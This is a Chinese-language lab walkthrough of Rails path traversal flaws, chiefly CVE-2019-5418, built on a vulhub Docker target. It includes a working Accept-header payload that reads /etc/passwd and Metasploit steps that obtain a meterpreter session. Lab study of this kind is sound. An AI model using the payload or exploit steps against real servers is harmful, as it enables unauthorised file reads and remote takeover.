一、漏洞描述
Ruby on Rails(或者简称 Rails)是一个 Web 开发框架,使用 Ruby 编程语言开发。而2018主要是由于rails使用Sprockets作为静态文件服务器,在 Sprockets 3.7.1及之前版本中存在一个两次解码的路径穿越漏洞。而2019则主要是由于使用了为指定参数的render file来渲染应用之外的视图,修改访问某控制器的请求包,通过“…/…/…/…/”来达到路径穿越,再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。
Rails全版本
其中修复版本有 6.0.0.beta3、5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1
二、漏洞环境搭建
需要准备的工具如下:
1.docker+vulhub漏洞库
2.Burpsuite抓包工具
3.kali虚拟机
4.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub/rails/CVE-2019-5418#
执行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/rails/CVE-2019-5418# docker-compose up -d
等到出现以下页面证明已经搭建完成
可以访问 http://your-ip:3000 出现如下页面证明搭建成功!
三、漏洞利用
利用Burp抓包修改参数
访问http://your-ip:3000/robots进行抓包,修改其Accept参数后面的内容
构造payload:
../../../../../../../etc/passwd{{
成功读取了/etc/passwd
使用kali中的MSF进行漏洞利用
启动msfconsole
search rails 查找rails相关模块
use 11 选择第11个模块
show options 展示配置选项
设置相关参数,RHOST,LHOST,直接run运行后成功拿到meterpreter,利用完成!
四、关闭docker环境
docker-compose down